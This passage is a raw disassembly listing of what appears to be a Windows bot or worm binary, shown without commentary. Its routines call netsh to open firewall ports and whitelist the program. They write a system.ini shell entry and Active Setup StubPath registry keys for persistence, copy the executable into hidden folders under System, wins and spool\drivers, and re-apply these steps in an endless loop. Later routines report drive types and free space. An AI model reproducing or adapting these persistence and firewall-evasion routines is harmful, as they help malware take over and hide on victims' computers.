		mov	esi, eax
		cmp	esi, ebp
		jnz	short loc_4147D1
		push	1Eh
		call	ebx ; dword_42F15C
		jmp	short loc_414785
; ---------------------------------------------------------------------------


loc_4147AF:				; CODE XREF: sub_41477A+1Bj
		push	ebp
		push	68h
		push	111h
		push	esi
		call	dword_454360	; SendMessageA
		jmp	short loc_4147C4
; ---------------------------------------------------------------------------


loc_4147C0:				; CODE XREF: sub_41477A+53j
		push	32h
		call	ebx ; dword_42F15C


loc_4147C4:				; CODE XREF: sub_41477A+44j
		push	esi
		call	dword_4542A0	; IsWindow
		test	eax, eax
		jnz	short loc_4147C0
		jmp	short loc_414806
; ---------------------------------------------------------------------------


loc_4147D1:				; CODE XREF: sub_41477A+2Dj
		push	edi
		push	ebp
		mov	edi, 111h
		push	4Dh
		push	edi
		push	esi
		call	dword_454360	; SendMessageA
		push	ebp
		push	1
		push	edi
		push	esi
		call	dword_454360	; SendMessageA
		push	esi
		call	dword_4542A0	; IsWindow
		pop	edi
		jmp	short loc_414802
; ---------------------------------------------------------------------------


loc_4147F7:				; CODE XREF: sub_41477A+8Aj
		push	32h
		call	ebx ; dword_42F15C
		push	esi
		call	dword_4542A0	; IsWindow


loc_414802:				; CODE XREF: sub_41477A+7Bj
		test	eax, eax
		jnz	short loc_4147F7


loc_414806:				; CODE XREF: sub_41477A+55j
		push	ebp
		call	dword_42F150	; ExitThread
		pop	esi
		pop	ebp
		pop	ebx
sub_41477A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414810	proc near		; DATA XREF: sub_412267+408o

var_F74		= byte ptr -0F74h
var_F5C		= byte ptr -0F5Ch
var_F4C		= byte ptr -0F4Ch
var_E18		= byte ptr -0E18h
var_C30		= byte ptr -0C30h
var_A00		= byte ptr -0A00h
var_858		= byte ptr -858h
var_470		= byte ptr -470h

		sub	esp, 0F04h
		lea	eax, [esp+0F04h+var_A00]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset aFirewallSetP_0 ; "firewall set portopening TCP 1013 BS"
		push	200h
		push	eax
		call	sub_42219B
		add	esp, 0Ch
		mov	esi, dword_42F23C
		xor	ebp, ebp
		lea	eax, [esp+0F14h+var_A00]
		push	ebp
		push	ebp
		mov	ebx, offset aNetsh ; "netsh"
		push	eax
		mov	edi, offset aOpen ; "open"
		push	ebx
		push	edi
		push	ebp
		call	esi ; dword_42F23C
		push	offset aFirewallSetP_1 ; "firewall set portopening TCP 8080 PORT1"...
		lea	eax, [esp+0F30h+var_E18]
		push	200h
		push	eax
		call	sub_42219B
		add	esp, 0Ch
		lea	eax, [esp+0F2Ch+var_E18]
		push	ebp
		push	ebp
		push	eax
		push	ebx
		push	edi
		push	ebp
		call	esi ; dword_42F23C
		push	offset aFirewallSetP_2 ; "firewall set portopening TCP 8081 PORT2"...
		lea	eax, [esp+0F48h+var_C30]
		push	200h
		push	eax
		call	sub_42219B
		add	esp, 0Ch
		lea	eax, [esp+0F44h+var_C30]
		push	ebp
		push	ebp
		push	eax
		push	ebx
		push	edi
		push	ebp
		call	esi ; dword_42F23C
		lea	eax, [esp+0F5Ch+var_F4C]
		push	104h
		push	eax
		push	ebp
		call	dword_42F074	; GetModuleHandleA
		push	eax
		call	dword_42F154	; GetModuleFileNameA
		lea	eax, [esp+0F6Ch+var_F5C]
		push	eax
		push	offset aFirewallAddAll ; "firewall add allowedprogram \"%s\" workst"...
		lea	eax, [esp+0F74h+var_858]
		push	400h
		push	eax
		call	sub_42219B
		add	esp, 10h
		lea	eax, [esp+0F6Ch+var_858]
		push	ebp
		push	ebp
		push	eax
		push	ebx
		push	edi
		push	ebp
		call	esi ; dword_42F23C
		lea	eax, [esp+0F84h+var_F74]
		push	eax
		push	offset aFirewallSetAll ; "firewall set allowedprogram \"%s\" workst"...
		lea	eax, [esp+0F8Ch+var_470]
		push	400h
		push	eax
		call	sub_42219B
		add	esp, 10h
		lea	eax, [esp+0F84h+var_470]
		push	ebp
		push	ebp
		push	eax
		push	ebx
		push	edi
		push	ebp
		call	esi ; dword_42F23C
		push	ebp
		call	dword_42F150	; ExitThread
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
sub_414810	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414926	proc near		; DATA XREF: sub_402190+3Fo

var_200		= byte ptr -200h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_44D680
		push	offset aDebugOpenedNet ; "(Debug): opened netsh	firewall for FTPD"...
		call	sub_424496
		push	dword_44D680
		lea	eax, [ebp+var_200]
		push	offset aFirewallSetPor ; "firewall set portopening TCP %d FD"
		push	200h
		push	eax
		call	sub_42219B
		add	esp, 18h
		lea	eax, [ebp+var_200]
		push	0
		push	0
		push	eax
		push	offset aNetsh	; "netsh"
		push	offset aOpen	; "open"
		push	0
		call	dword_42F23C
		push	0
		call	dword_42F150	; ExitThread
sub_414926	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414983	proc near		; DATA XREF: sub_412267+428o
					; sub_414FE3+6Do

var_410		= byte ptr -410h
var_30C		= byte ptr -30Ch
var_304		= byte ptr -304h
var_208		= byte ptr -208h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 304h
		push	esi
		mov	esi, 104h
		lea	eax, [ebp+var_208]
		push	esi
		push	eax
		push	0
		call	dword_42F074	; GetModuleHandleA
		push	eax
		call	dword_42F154	; GetModuleFileNameA
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_304]
		push	offset aExplorer_exeS ;	"explorer.exe \"%s\""
		push	eax
		call	sub_422063
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		call	dword_42F0C0	; GetWindowsDirectoryA
		lea	eax, [ebp+var_104]
		push	offset aSystem_ini ; "\\system.ini"
		push	eax
		call	sub_423270
		pop	ecx
		lea	eax, [ebp+var_104]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		push	offset aShell	; "shell"
		push	offset aBoot	; "boot"
		call	dword_42F160	; WritePrivateProfileStringA
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_422120
		mov	esi, dword_42F244
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	esi ; dword_42F244
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	esi ; dword_42F244
		push	0
		call	dword_42F150	; ExitThread
		pop	esi


loc_414A40:				; CODE XREF: sub_414CF1+4p
		push	ebp
		mov	ebp, esp
		sub	esp, 410h
		push	ebx
		push	esi
		mov	esi, 104h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_30C]
		push	ebx
		push	eax
		call	sub_4221F0
		push	esi
		lea	eax, [ebp+var_208]
		push	ebx
		push	eax
		call	sub_4221F0
		push	esi
		lea	eax, [ebp+var_104]
		push	ebx
		push	eax
		call	sub_4221F0
		push	esi
		lea	eax, [ebp+var_410]
		push	ebx
		push	eax
		call	sub_4221F0
		mov	eax, [ebp+arg_0]
		add	esp, 30h
		dec	eax
		jz	loc_414BDC
		dec	eax
		jz	loc_414B68
		dec	eax
		jz	short loc_414AF4
		dec	eax
		jnz	loc_414CB2
		push	ebx
		lea	eax, [ebp+var_208]
		push	18h
		push	eax
		push	ebx
		call	dword_42F234


loc_414ABA:				; CODE XREF: sub_414983+2ADj
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_30C]
		push	esi
		push	eax
		call	sub_42219B
		lea	eax, [ebp+var_208]
		push	offset loc_439030
		push	eax
		push	offset dword_43C270
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 20h
		jmp	loc_414CB2
; ---------------------------------------------------------------------------


loc_414AF4:				; CODE XREF: sub_414983+11Dj
		push	ebx
		lea	eax, [ebp+var_208]
		push	25h
		push	eax
		push	ebx
		call	dword_42F234
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_30C]
		push	esi
		push	eax
		call	sub_42219B
		lea	eax, [ebp+var_208]
		push	offset loc_439030
		push	eax
		push	offset aSWinsS	; "%s\\wins\\%s"
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		call	sub_42219B
		lea	eax, [ebp+var_104]
		push	1
		push	eax
		mov	edi, offset dword_439134
		push	offset dword_439590
		push	edi
		push	80000001h
		call	sub_41A8F2
		lea	eax, [ebp+var_104]
		push	1
		push	eax
		push	offset dword_439590
		jmp	loc_414CA3
; ---------------------------------------------------------------------------


loc_414B68:				; CODE XREF: sub_414983+116j
		push	ebx
		lea	eax, [ebp+var_208]
		push	25h
		push	eax
		push	ebx
		call	dword_42F234
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_30C]
		push	esi
		push	eax
		call	sub_42219B
		lea	eax, [ebp+var_208]
		push	offset loc_439030
		push	eax
		push	offset aSSpoolDriversS ; "%s\\spool\\drivers\\%s"
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		call	sub_42219B
		lea	eax, [ebp+var_104]
		push	1
		push	eax
		mov	edi, offset dword_439134
		push	offset dword_439578
		push	edi
		push	80000001h
		call	sub_41A8F2
		lea	eax, [ebp+var_104]
		push	1
		push	eax
		push	offset dword_439578
		jmp	loc_414CA3
; ---------------------------------------------------------------------------


loc_414BDC:				; CODE XREF: sub_414983+10Fj
		lea	eax, [ebp+var_208]
		push	eax
		push	ebx
		push	ebx
		push	802Bh
		push	ebx
		call	dword_42F238
		test	eax, eax
		jl	loc_414CEA
		lea	eax, [ebp+var_208]
		push	eax
		push	offset aSSystem	; "%s\\System"
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 10h
		lea	eax, [ebp+var_208]
		push	ebx
		push	eax
		call	dword_42F0C4	; CreateDirectoryA
		test	eax, eax
		jnz	short loc_414C36
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 3
		jz	loc_414ABA


loc_414C36:				; CODE XREF: sub_414983+2A2j
		lea	eax, [ebp+var_104]
		push	7
		push	eax
		call	dword_42F08C	; SetFileAttributesA
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_30C]
		push	esi
		push	eax
		call	sub_42219B
		lea	eax, [ebp+var_104]
		push	offset loc_439030
		push	eax
		push	offset dword_43C270
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		call	sub_42219B
		lea	eax, [ebp+var_104]
		push	1
		push	eax
		mov	edi, offset dword_439134
		push	offset dword_439568
		push	edi
		push	80000001h
		call	sub_41A8F2
		lea	eax, [ebp+var_104]
		push	1
		push	eax
		push	offset dword_439568


loc_414CA3:				; CODE XREF: sub_414983+1E0j
					; sub_414983+254j
		push	edi
		push	dword_439130
		call	sub_41A8F2
		add	esp, 48h


loc_414CB2:				; CODE XREF: sub_414983+120j
					; sub_414983+16Cj
		lea	eax, [ebp+var_410]
		push	esi
		push	eax
		push	ebx
		call	dword_42F154	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	ebx
		push	eax
		lea	eax, [ebp+var_410]
		push	eax
		call	dword_42F09C	; CopyFileA
		lea	eax, [ebp+var_104]
		push	7
		push	eax
		call	dword_42F08C	; SetFileAttributesA
		xor	eax, eax
		inc	eax
		jmp	short loc_414CEC
; ---------------------------------------------------------------------------


loc_414CEA:				; CODE XREF: sub_414983+270j
		xor	eax, eax


loc_414CEC:				; CODE XREF: sub_414983+365j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414983	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CF1	proc near		; DATA XREF: sub_412267+438o
					; sub_414FE3+7Eo
		push	esi
		xor	esi, esi


loc_414CF4:				; CODE XREF: sub_414CF1+Ej
		push	esi
		call	loc_414A40
		inc	esi
		pop	ecx
		cmp	esi, 5
		jl	short loc_414CF4
		push	0
		call	dword_42F150	; ExitThread
		pop	esi


loc_414D0A:				; CODE XREF: sub_414F1C+4p
		push	ebp
		mov	ebp, esp
		sub	esp, 30Ch
		mov	eax, [ebp+8]
		push	ebx
		mov	ebx, dword_42F08C
		push	esi
		dec	eax
		push	edi
		jz	loc_414E31
		dec	eax
		jz	loc_414DDD
		dec	eax
		jz	short loc_414D89
		dec	eax
		jnz	loc_414EF5
		xor	edi, edi
		lea	eax, [ebp-104h]
		push	edi
		push	18h
		push	eax
		push	edi
		call	dword_42F234
		mov	esi, 104h


loc_414D4F:				; CODE XREF: sub_414CF1+19Bj
		lea	eax, [ebp-104h]
		push	eax
		lea	eax, [ebp-30Ch]
		push	esi
		push	eax
		call	sub_42219B
		lea	eax, [ebp-104h]
		push	offset loc_439030
		push	eax
		push	offset dword_43C270
		lea	eax, [ebp-208h]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 20h
		jmp	loc_414EF5
; ---------------------------------------------------------------------------


loc_414D89:				; CODE XREF: sub_414CF1+3Dj
		xor	edi, edi
		lea	eax, [ebp-104h]
		push	edi
		push	25h
		push	eax
		push	edi
		call	dword_42F234
		lea	eax, [ebp-104h]
		mov	esi, 104h
		push	eax
		lea	eax, [ebp-30Ch]
		push	esi
		push	eax
		call	sub_42219B
		lea	eax, [ebp-104h]
		push	offset loc_439030
		push	eax
		push	offset aSWinsS	; "%s\\wins\\%s"
		lea	eax, [ebp-208h]
		push	esi
		push	eax
		call	sub_42219B
		mov	edi, offset dword_439590
		jmp	loc_414ED4
; ---------------------------------------------------------------------------


loc_414DDD:				; CODE XREF: sub_414CF1+36j
		xor	edi, edi
		lea	eax, [ebp-104h]
		push	edi
		push	25h
		push	eax
		push	edi
		call	dword_42F234
		lea	eax, [ebp-104h]
		mov	esi, 104h
		push	eax
		lea	eax, [ebp-30Ch]
		push	esi
		push	eax
		call	sub_42219B
		lea	eax, [ebp-104h]
		push	offset loc_439030
		push	eax
		push	offset aSSpoolDriversS ; "%s\\spool\\drivers\\%s"
		lea	eax, [ebp-208h]
		push	esi
		push	eax
		call	sub_42219B
		mov	edi, offset dword_439578
		jmp	loc_414ED4
; ---------------------------------------------------------------------------


loc_414E31:				; CODE XREF: sub_414CF1+2Fj
		lea	eax, [ebp-104h]
		xor	edi, edi
		push	eax
		push	edi
		push	edi
		push	802Bh
		push	edi
		call	dword_42F238
		test	eax, eax
		jl	loc_414F15
		lea	eax, [ebp-104h]
		mov	esi, 104h
		push	eax
		push	offset aSSystem	; "%s\\System"
		lea	eax, [ebp-208h]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 10h
		lea	eax, [ebp-104h]
		push	edi
		push	eax
		call	dword_42F0C4	; CreateDirectoryA
		test	eax, eax
		jnz	short loc_414E92
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 3
		jz	loc_414D4F


loc_414E92:				; CODE XREF: sub_414CF1+190j
		lea	eax, [ebp-208h]
		push	7
		push	eax
		call	ebx ; dword_42F08C
		lea	eax, [ebp-208h]
		push	eax
		lea	eax, [ebp-30Ch]
		push	esi
		push	eax
		call	sub_42219B
		lea	eax, [ebp-208h]
		push	offset loc_439030
		push	eax
		push	offset dword_43C270
		lea	eax, [ebp-208h]
		push	esi
		push	eax
		call	sub_42219B
		mov	edi, offset dword_439568


loc_414ED4:				; CODE XREF: sub_414CF1+E7j
					; sub_414CF1+13Bj
		mov	esi, offset dword_439134
		push	edi
		push	esi
		push	dword_439130
		call	sub_41A454
		push	edi
		push	esi
		push	80000001h
		call	sub_41A454
		add	esp, 38h


loc_414EF5:				; CODE XREF: sub_414CF1+40j
					; sub_414CF1+93j
		lea	eax, [ebp-208h]
		push	80h
		push	eax
		call	ebx ; dword_42F08C
		lea	eax, [ebp-208h]
		push	eax
		call	dword_42F088	; DeleteFileA
		xor	eax, eax
		inc	eax
		jmp	short loc_414F17
; ---------------------------------------------------------------------------


loc_414F15:				; CODE XREF: sub_414CF1+159j
		xor	eax, eax


loc_414F17:				; CODE XREF: sub_414CF1+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414CF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F1C	proc near		; DATA XREF: sub_40CDE2+5FAo
					; sub_41F455+11o
		push	esi
		xor	esi, esi


loc_414F1F:				; CODE XREF: sub_414F1C+Ej
		push	esi
		call	loc_414D0A
		inc	esi
		pop	ecx
		cmp	esi, 5
		jl	short loc_414F1F
		push	0
		call	dword_42F150	; ExitThread
		pop	esi
sub_414F1C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F35	proc near		; CODE XREF: sub_4120E9+153p
					; sub_414FE3+93p

var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	esi
		lea	eax, [ebp+var_400]
		push	[ebp+arg_0]
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Active Setup\\Install"...
		push	400h
		push	eax
		call	sub_42219B
		push	1
		mov	esi, offset aStubpath ;	"StubPath"
		push	[ebp+arg_4]
		lea	eax, [ebp+var_400]
		push	esi
		push	eax
		push	80000002h
		call	sub_41A8F2
		push	1
		lea	eax, [ebp+var_400]
		push	[ebp+arg_4]
		push	esi
		push	eax
		push	80000001h
		call	sub_41A8F2
		add	esp, 38h
		pop	esi
		leave
		retn
sub_414F35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F91	proc near		; CODE XREF: sub_40CDE2+60Cp
					; sub_41F455+23p

var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	esi
		lea	eax, [ebp+var_400]
		push	[ebp+arg_0]
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Active Setup\\Install"...
		push	400h
		push	eax
		call	sub_42219B
		mov	esi, offset aStubpath ;	"StubPath"
		lea	eax, [ebp+var_400]
		push	esi
		push	eax
		push	80000002h
		call	sub_41A454
		lea	eax, [ebp+var_400]
		push	esi
		push	eax
		push	80000001h
		call	sub_41A454
		add	esp, 28h
		pop	esi
		leave
		retn
sub_414F91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_414FE3	proc near		; DATA XREF: sub_412267+448o

var_108		= byte ptr -108h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_108]
		push	104h
		push	eax
		push	0
		call	dword_42F074	; GetModuleHandleA
		push	eax
		call	dword_42F154	; GetModuleFileNameA
		mov	esi, dword_42F158
		mov	ebx, offset byte_439233
		mov	edi, offset dword_439134


loc_41501A:				; CODE XREF: sub_414FE3+A5j
		lea	eax, [ebp+var_108]
		push	1
		push	eax
		push	ebx
		push	edi
		push	80000001h
		call	sub_41A8F2
		lea	eax, [ebp+var_108]
		push	1
		push	eax
		push	ebx
		push	edi
		push	dword_439130
		call	sub_41A8F2
		add	esp, 28h
		lea	eax, [ebp+var_4]
		push	eax
		xor	eax, eax
		push	eax
		push	eax
		push	offset sub_414983
		push	eax
		push	eax
		call	esi ; dword_42F158
		lea	eax, [ebp+var_4]
		push	eax
		xor	eax, eax
		push	eax
		push	eax
		push	offset sub_414CF1
		push	eax
		push	eax
		call	esi ; dword_42F158
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_439540
		call	sub_414F35
		pop	ecx
		pop	ecx
		push	0BB8h
		call	dword_42F15C	; Sleep
		jmp	short loc_41501A
sub_414FE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41508A	proc near		; CODE XREF: sub_4152FB:loc_415352p
					; sub_4152FB+94p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_42F0C8	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_4150CD
		dec	eax
		jz	short loc_4150C7
		dec	eax
		dec	eax
		jz	short loc_4150C1
		dec	eax
		jz	short loc_4150BB
		dec	eax
		jz	short loc_4150B5
		dec	eax
		jz	short loc_4150AF
		mov	eax, offset a?	; "?"
		retn
; ---------------------------------------------------------------------------


loc_4150AF:				; CODE XREF: sub_41508A+1Dj
		mov	eax, offset aRamdisk ; "RAMDISK"
		retn
; ---------------------------------------------------------------------------


loc_4150B5:				; CODE XREF: sub_41508A+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4150BB:				; CODE XREF: sub_41508A+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4150C1:				; CODE XREF: sub_41508A+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4150C7:				; CODE XREF: sub_41508A+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4150CD:				; CODE XREF: sub_41508A+Dj
		mov	eax, offset dword_43E558
		retn
sub_41508A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150D3	proc near		; CODE XREF: sub_415126+12p
					; sub_415255+Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		push	edi
		or	eax, 0FFFFFFFFh
		push	1
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		call	dword_4543C0	; SetErrorMode
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_4]
		call	dword_42F0CC	; GetDiskFreeSpaceExA
		push	2
		call	dword_4543C0	; SetErrorMode
		mov	eax, [ebp+arg_0]
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4150D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415126	proc near		; CODE XREF: sub_4152FB+1Dp

var_1A0		= byte ptr -1A0h
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4150D3
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_415212
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_415212
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_415212
		mov	eax, [ebp+arg_8]
		push	ebx
		push	[ebp+arg_C]
		cdq
		mov	ebx, eax
		push	edx
		push	ebx
		mov	[ebp+var_1C], edx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_4244E0
		push	edx
		push	eax
		call	sub_41F537
		pop	ecx
		mov	edi, offset aSS_2 ; "%s%s"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 14h
		push	[ebp+arg_C]
		push	[ebp+var_1C]
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4244E0
		push	edx
		push	eax
		call	sub_41F537
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 14h
		push	[ebp+arg_C]
		push	[ebp+var_1C]
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4244E0
		push	edx
		push	eax
		call	sub_41F537
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_A0]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 14h
		pop	ebx
		jmp	short loc_415241
; ---------------------------------------------------------------------------


loc_415212:				; CODE XREF: sub_415126+2Cj
					; sub_415126+3Bj ...
		mov	esi, offset aFailed ; "Failed"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_A0]
		push	esi
		push	eax
		call	sub_422063
		add	esp, 18h


loc_415241:				; CODE XREF: sub_415126+EAj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_1A0]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_415126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415255	proc near		; CODE XREF: sub_4153BB+5Fp
					; sub_418B58+241p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_4150D3
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4152A9
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4152A9
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4152A9
		xor	eax, eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_1C], eax
		jmp	short loc_4152E7
; ---------------------------------------------------------------------------


loc_4152A9:				; CODE XREF: sub_415255+29j
					; sub_415255+34j ...
		mov	eax, [ebp+arg_8]
		cdq
		mov	edi, edx
		mov	esi, eax
		push	edi
		push	esi
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_4244E0
		push	edi
		push	esi
		push	[ebp+var_C]
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		push	[ebp+var_10]
		call	sub_4244E0
		push	edi
		push	esi
		push	[ebp+var_4]
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		push	[ebp+var_8]
		call	sub_4244E0
		mov	[ebp+var_1C], edx


loc_4152E7:				; CODE XREF: sub_415255+52j
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		push	6
		lea	esi, [ebp+var_30]
		pop	ecx
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_415255	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152FB	proc near		; CODE XREF: sub_4154DA+40p
					; sub_4154DA+10Cp

var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 300h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		push	[ebp+arg_14]
		lea	eax, [ebp+var_300]
		push	[ebp+arg_10]
		push	ebx
		push	eax
		call	sub_415126
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "Failed"
		rep movsd
		push	eax
		call	sub_422760
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41537B
		push	ebx
		push	ebx


loc_415352:				; DATA XREF: .text:off_43CF08o
		call	sub_41508A
		cmp	[ebp+arg_8], 0
		pop	ecx
		push	eax
		push	offset aSDriveSFailedT ; "%s Drive (%s): Failed	to start, device "...
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		jnz	short loc_415374
		call	sub_4104F6


loc_41536F:				; CODE XREF: sub_4152FB+7Ej
		add	esp, 14h
		jmp	short loc_4153B6
; ---------------------------------------------------------------------------


loc_415374:				; CODE XREF: sub_4152FB+6Dj
		call	sub_410491
		jmp	short loc_41536F
; ---------------------------------------------------------------------------


loc_41537B:				; CODE XREF: sub_4152FB+53j
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
